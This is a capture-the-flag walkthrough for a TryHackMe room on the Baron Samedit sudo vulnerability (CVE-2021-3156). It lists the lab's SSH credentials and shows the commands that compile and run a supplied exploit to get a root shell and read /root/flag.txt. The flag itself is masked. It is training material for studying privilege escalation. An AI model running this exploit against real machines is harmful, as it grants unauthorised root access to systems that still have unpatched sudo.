TryHackMe: Baron Samedit Walkthrough.
You can access the room through this link: https://tryhackme.com/room/sudovulnssamedit
Task 1 :- Deploy!
Deployed! → No answer needed.
Task 2 :- Baron Samedit
Use the machine in your browser, or login over SSH using these credentials:
• Username: tryhackme
• Password: tryhackme
The command will be:ssh tryhackme@MACHINE_IP
tryhackme@CVE-2021–3156:~$ ll
tryhackme@CVE-2021–3156:~$ cd Exploit/
tryhackme@CVE-2021–3156:~/Exploit$ make
After compiling the exploit, what is the name of the executable created (blurred in the screenshots above)? → sudo-hax-me-a-sandwich
tryhackme@CVE-2021–3156:~/Exploit$ ll
Hint :- Run the exploit!
tryhackme@CVE-2021–3156:~/Exploit$ ./sudo-hax-me-a-sandwich 0
# id
# cat /root/flag.txt
You should now have a root shell — what is the flag in /root/flag.txt
? → THM{*******************************}
Note :- Always terminate the machine you deployed in this room.
Thanks for reading hope you guys like. Post your questions in the comment section below!